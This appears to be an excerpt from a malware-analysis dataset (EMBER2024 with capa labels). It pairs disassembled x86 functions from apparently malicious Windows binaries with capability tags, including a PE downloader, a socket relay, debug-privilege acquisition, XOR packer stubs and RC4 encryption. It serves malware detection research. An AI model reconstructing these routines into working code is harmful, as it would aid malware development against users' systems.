joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5959090
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 8
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
push edx
xor eax, eax
push 5
push 0xffffffffffffffff
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x59590e2
push esi
push 0x100
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
mov eax, dword [esp + 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 4]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret
xor eax, eax
add esp, 8
ret

Function at 0x5959330
Capabilities:
Simulate ctrl alt del

Disassembly:
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push str.Winlogon
mov esi, eax
call fcn.059592e0
add esp, 4
test eax, eax
jne 0x5959353
pop esi
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x5959377
push esi
call fcn.05959270
add esp, 4
mov eax, 1
pop esi
ret

Function at 0x5959460
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x414
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push ebp
push ebp
mov esi, 1
push ebp
push str.Mozilla_4.0__compatible_
mov dword [esp + 0x24], ebp
mov dword [esp + 0x30], ebp
mov dword [esp + 0x28], esi
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, ebp
mov dword [esp + 0x20], edi
jne 0x59594a3
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov eax, dword [esp + 0x428]
push ebp
push 0x80000000
push ebp
push ebp
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
cmp ebx, ebp
jne 0x59594cd
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov ecx, dword [esp + 0x42c]
push ebp
push ebp
push 2
push ebp
push ebp
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
je 0x595955f
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x24]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x28]
push 0x400
push eax
push ebx
call ebp
test esi, esi
je 0x5959521
cmp word [esp + 0x24], 0x5a4d
jne 0x5959548
mov edx, dword [esp + 0x10]
xor esi, esi
lea ecx, [esp + 0x1c]
push esi
push ecx
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x5959550
jmp 0x59594f5
mov dword [esp + 0x14], 0
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x20]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
push edi
call esi
mov ecx, dword [esp + 0x14]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x414
ret
Function at 0x59595e0
Capabilities:
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
mov esi, dword [esp + 0x18]
lea eax, [esp + 0x18]
push edi
push eax
xor edi, edi
push 0x8004667e
push ebx
mov dword [esp + 0x28], edi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
test esi, esi
jle 0x5959625
mov ebp, dword [esp + 0x18]
push 0
lea ecx, [edi + ebp]
push esi
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x5959625
sub esi, eax
add edi, eax
test esi, esi
jg 0x595960b
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x5959630
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x595964e
xor eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov word [esp + 8], 2
mov dword [esp + 0xc], eax
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x595968e
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x59596a0
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
mov eax, 0x2104
call fcn.05959ad0
mov eax, dword [esp + 0x2108]
push ebx
push ebp
push esi
mov ebp, dword [eax]
mov ebx, dword [eax + 4]
push edi
mov ecx, 0x7ff
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, byte [0x596d748]
test al, al
je 0x59597c2
mov edi, dword [sym.imp.WS2_32.dll_recv]
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], 1
xor eax, eax
lea ecx, [esp + 0x14]
cmp dword [ecx], ebx
je 0x5959707
inc eax
add ecx, 4
cmp eax, 1
jb 0x59596fa
cmp eax, 1
jne 0x5959718
mov dword [esp + 0x18], ebx
mov dword [esp + 0x10], 2
push 0
push 0
lea eax, [esp + 0x18]
push 0
push eax
push 0
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x59597c2
lea ecx, [esp + 0x10]
push ecx
push ebp
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x5959774
push 0
lea edx, [esp + 0x118]
push 0x2000
push edx
push ebp
call edi
mov esi, eax
test esi, esi
jle 0x59597c2
lea eax, [esp + 0x114]
push esi
push eax
push ebx
call fcn.059595e0
add esp, 0xc
test eax, eax
je 0x59597c2
cmp eax, esi
jne 0x59597c2
lea ecx, [esp + 0x10]
push ecx
push ebx
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x59597b5
push 0
lea edx, [esp + 0x118]
push 0x2000
push edx
push ebx
call edi
mov esi, eax
test esi, esi
jle 0x59597c2
lea eax, [esp + 0x114]
push esi
push eax
push ebp
call fcn.059595e0
add esp, 0xc
test eax, eax
je 0x59597c2
cmp eax, esi
jne 0x59597c2
mov al, byte [0x596d748]
test al, al
jne 0x59596e8
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
push ebp
call esi
push ebx
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2104
ret 4
Function at 0x59598a0
Capabilities:
Create thread
Receive data
Receive data on socket

Disassembly:
mov eax, 0x1038
call fcn.05959ad0
push ebx
push esi
push edi
mov ecx, 0x40c
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x40], 0xffffffff
mov dword [esp + 0x14], 0x59606e8
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x1050]
lea ecx, [esp + 0x18]
push eax
push 0x5968994
push 0x20
push ecx
call dword [sym.imp.MSVCRT.dll__snprintf]
mov eax, dword [esp + 0x105c]
mov ecx, dword [esp + 0x1058]
mov dx, word [esp + 0x1064]
push eax
push ecx
mov word [esp + 0x50], dx
call fcn.059597e0
mov esi, eax
add esp, 0x18
test esi, esi
jbe 0x595999d
mov al, byte [0x596d748]
mov dword [esp + 0x3c], esi
test al, al
je 0x595999d
mov edi, dword [sym.imp.WS2_32.dll_recv]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
lea edx, [esp + 0x12]
push 2
push edx
push esi
call edi
test eax, eax
jle 0x595999d
mov edx, dword [0x596c744]
mov eax, dword [esp + 0x40]
inc edx
cmp eax, 0x800
mov dword [0x596c744], edx
jge 0x5959963
mov cx, word [esp + 0xe]
inc eax
mov dword [esp + 0x40], eax
mov word [esp + eax*2 + 0x44], cx
mov ecx, dword [0x596d74c]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x18]
push 0
push eax
push 0x5959800
inc ecx
push 0
push 0
mov dword [0x596d74c], ecx
call ebx
mov ecx, dword [0x596d74c]
mov dword [ecx*4 + 0x596c748], eax
mov al, byte [0x596d748]
test al, al
jne 0x595992c
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x1038
ret 0x10

Function at 0x59599c0
Capabilities:
Terminate thread

Disassembly:
sub esp, 0x80
mov byte [0x596d748], 0
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x596c740]
test eax, eax
je 0x5959a23
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [0x596c740]
lea ecx, [esp + 8]
push eax
push str.nsocket_di:_d
push ecx
call esi
mov edx, dword [0x596c740]
add esp, 0xc
mov eax, dword [edx*4 + 0x596b740]
cmp eax, 0xffffffff
je 0x5959a16
push eax
call edi
mov eax, dword [0x596c740]
dec eax
mov dword [0x596c740], eax
jne 0x59599ec
mov eax, dword [0x596d74c]
test eax, eax
je 0x5959a6b
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x596d74c]
mov eax, dword [eax*4 + 0x596c748]
cmp eax, 0xffffffff
je 0x5959a5e
push 0
push eax
call esi
mov ecx, dword [0x596d74c]
mov edx, dword [ecx*4 + 0x596c748]
push edx
call edi
mov eax, dword [0x596d74c]
dec eax
mov dword [0x596d74c], eax
jne 0x5959a38
pop edi
mov dword [0x596d74c], 0
mov dword [0x596c740], 0
mov byte [0x596d748], 1
pop esi
add esp, 0x80
ret
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408ecc
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
mov esi, 0x21804ab0
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
nop
nop
nop
mov eax, section..data_1
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x293765c8
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0xc6e1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00c6e140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00c6e140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00c6e140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00c6e140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xc6ebfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xc6ec50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xc8087c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xc6ec43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xc6ec52
xor eax, eax
pop esi
leave
ret 4

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp fcn.00401219
Function at 0x404f00
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4139b8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x41b048]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, dword [ebp + 8]
xor edx, edx
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], dx
cmp dword [eax + 0x14], 8
mov dword [ebp - 4], edx
jb 0x404f4e
mov eax, dword [eax]
lea edx, [ebp - 0x2c]
push edx
push dword [ebp + 0xc]
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404ffb
xor esi, esi
lea eax, [ebp - 0x30]
push eax
push esi
push esi
push esi
push esi
push dword [ebp - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x404fed
push 0x41b4ed
push dword [ebp - 0x30]
call fcn.00411ccb
mov esi, eax
add esp, 8
test esi, esi
je 0x404fd3
lea eax, [ebp - 0x30]
push eax
push esi
push 0
push 0
or esi, 0xffffffff
Function at 0x40226a
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push edi
mov byte [ebp - 0x104], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 4], 0
mov eax, 0x4021d6
sub eax, 0x401cf5
mov dword [ebp - 4], eax
push 8
push 0x408008
lea ecx, [ebp - 0x104]
push ecx
call fcn.00406350
add esp, 0xc
mov edx, dword [ebp - 4]
push edx
push 0x401cf5
lea eax, [ebp - 0x104]
push eax
call fcn.00406464
add esp, 0xc
push 0x100
push 0
lea ecx, [ebp - 0x104]
push ecx
call fcn.00406890
add esp, 0xc
call fcn.00401d3d
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x406464
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
jmp 0x40648a
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp + 0x10]
jge 0x40654c
mov edx, dword [ebp - 0xc]
add edx, 1
and edx, 0x800000ff
jns 0x4064ac
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 0xc], edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0xc]
xor ecx, ecx
mov cl, byte [eax]
mov edx, dword [ebp - 0x10]
add edx, ecx
and edx, 0x800000ff
jns 0x4064ce
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0xc]
mov cl, byte [eax]
mov byte [ebp - 4], cl
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x10]
mov cl, byte [eax]
mov byte [edx], cl
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x10]
mov al, byte [ebp - 4]
mov byte [edx], al
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0xc]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x10]
xor ecx, ecx
mov cl, byte [eax]
add edx, ecx
and edx, 0x800000ff
jns 0x40651d
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 8]
mov al, byte [edx]
mov byte [ebp - 4], al
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x14]
xor edx, edx
mov dl, byte [ecx]
mov eax, dword [ebp - 4]
and eax, 0xff
xor edx, eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x14]
mov byte [ecx], dl
jmp 0x406481
mov esp, ebp
pop ebp
ret

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
mov ecx, 0x747023fb
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..text_1
mov ebx, 0x42f314
nop
nop
mov ecx, 0x2d5d3d11
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x4014b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x401508
cmp byte [esi + ebx - 1], 0xa
je 0x4014dc
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x405084], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
pop ebx
pop esi
pop ebp
ret
Function at 0x401aa0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xfc
mov edi, dword [0x405094]
mov esi, dword [ebp + 8]
test edi, edi
je 0x401c60
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call dword [0x405094]
movzx eax, al
bt eax, esi
jae 0x401cc0
mov ecx, dword [0x405084]
xor eax, eax
mov edx, dword fs:[0x18]
cmp dword [edx + 0x24], ecx
je 0x401b65
test byte [0x402018], 8
jne 0x401c00
lea ebx, [ebp - 0xe0]
mov edi, ebx
test byte [0x402028], 8
jne 0x401bb0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
mov dword [esp + 4], str._04x:
mov dword [esp], edi
mov dword [esp + 8], eax
call dbg.sprintf
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x401b34
cmp esi, 3
jbe 0x401b70
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp], ebx
mov esi, eax
call dword [sym.imp.ucrtbase.dll_strlen]
mov dword [esp + 0xc], esi
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], ebx
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0xfc
pop ebx
pop esi
pop edi
pop ebp
ret
add eax, edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 8], str._s:_s:_s
mov dword [esp], eax
mov dword [esp + 0x14], edi
mov edi, dword [ebp + 0xc]
lea edx, [edi + 1]
mov dword [esp + 0x10], edx
mov edx, dword [esi*4 + 0x4030f0]
mov dword [esp + 0xc], edx
mov edx, ebx
sub edx, eax
add edx, 0xc8
mov dword [esp + 4], edx
call sym._snprintf.constprop.0
jmp 0x401b34
mov ecx, dword [0x405094]
test ecx, ecx
je 0x401ca0
mov dword [esp], 0x402028
call dword [0x405094]
test al, 8
je 0x401b0b
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x20]
mov dword [esp], edi
mov dword [esp + 4], str._04x:
mov dword [esp + 8], eax
call dbg.sprintf
add edi, eax
jmp 0x401b0b
mov ebx, dword [0x405094]
test ebx, ebx
je 0x401c80
mov dword [esp], 0x402018
call dword [0x405094]
test al, 8
je 0x401af6
call dword [sym.imp.kernel32.dll_GetTickCount]
lea ebx, [ebp - 0xe0]
mov dword [esp + 4], str._3u._03u:
mov ecx, eax
mov eax, 0x10624dd3
mov dword [esp], ebx
mul ecx
shr edx, 6
imul eax, edx, 0x3e8
mov dword [esp + 8], edx
sub ecx, eax
mov dword [esp + 0xc], ecx
call dbg.sprintf
lea edi, [ebx + eax]
jmp 0x401afe
mov ecx, dbg.fallback__wine_dbg_get_channel_flags
mov edx, str.__wine_dbg_get_channel_flags
mov eax, 0x405094
call sym._load_func.part.0
jmp 0x401abd
mov ecx, dbg.fallback__wine_dbg_get_channel_flags
mov edx, str.__wine_dbg_get_channel_flags
mov eax, 0x405094
call sym._load_func.part.0
jmp 0x401c0a
mov ecx, dbg.fallback__wine_dbg_get_channel_flags
mov edx, str.__wine_dbg_get_channel_flags
mov eax, 0x405094
call sym._load_func.part.0
jmp 0x401bbe
mov eax, 0xffffffff
jmp 0x401b65
Function at 0x401e20
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 1
call sym.__configure_wide_argv
call sym.__initialize_wide_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___wargv
mov edi, dword [eax]
call sym.__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call dbg.wmain
mov dword [esp], eax
call sym._exit
nop
nop
nop
Function at 0x401a6e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42c0d0]
jne 0x401a78
repz ret
jmp fcn.00402ba6

Function at 0x40f875
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004035f6
and dword [ebp - 4], 0
cmp dword [0x42d97c], 0
mov ebx, eax
jne 0x40f926
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40f9d7
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40f9d7
push eax
call fcn.00403584
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42d97c], eax
call esi
push eax
call fcn.00403584
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42d980], eax
call esi
push eax
call fcn.00403584
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42d984], eax
call esi
push eax
call fcn.00403584
pop ecx
mov dword [0x42d98c], eax
test eax, eax
je 0x40f926
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00403584
pop ecx
mov dword [0x42d988], eax
mov eax, dword [0x42d988]
cmp eax, ebx
je 0x40f97e
cmp dword [0x42d98c], ebx
je 0x40f97e
push eax
call fcn.004035ff
push dword [0x42d98c]
mov esi, eax
call fcn.004035ff
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40f97e
test edi, edi
je 0x40f97e
call esi
test eax, eax
je 0x40f975
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40f975
test byte [ebp - 0xc], 1
jne 0x40f97e
or dword [ebp + 0x10], 0x200000
jmp 0x40f9b7
mov eax, dword [0x42d980]
cmp eax, ebx
je 0x40f9b7
push eax
call fcn.004035ff
pop ecx
test eax, eax
je 0x40f9b7
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40f9b7
mov eax, dword [0x42d984]
cmp eax, ebx
je 0x40f9b7
push eax
call fcn.004035ff
pop ecx
test eax, eax
je 0x40f9b7
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42d97c]
call fcn.004035ff
pop ecx
test eax, eax
je 0x40f9d7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40f9d9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x426ab9
Capabilities:
Set file attributes

Disassembly:
sub esp, 0x804
mov eax, dword [0x42c0d0]
xor eax, esp
mov dword [esp + 0x800], eax
push esi
push edi
mov edi, 0x13ba1f
xor esi, esi
cmp dword [0x42de24], 0xbf9
jne 0x426ae9
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
cmp dword [0x42de24], 0x3dc
mov dword [0x42de18], 0x8e55ceaa
jne 0x426b14
push esi
push str.sutejoyuvefejavasayoz_kuradahehihugas
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
dec edi
jne 0x426ad6
cmp esi, 0x8465cd
jne 0x426b2e
mov eax, dword [0x42ce00]
add eax, 0xa231
mov dword [0x42de24], eax
cmp dword [0x42de24], 0x141
jne 0x426b5b
push str.gacepelorawagemuyutajewelaxizebu_hiyupehiliyi_toxayekuxo_ziyapemiket_siwiyorosahasopisuzofuwuxuv
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
or dword [0x42daec], 0xffffffff
mov dword [0x42dae8], 0xec58acac
inc esi
cmp esi, 0x125483c
jl 0x426b17
call fcn.00426750
mov ecx, dword [esp + 0x808]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.00401a6e
add esp, 0x804
ret 0x10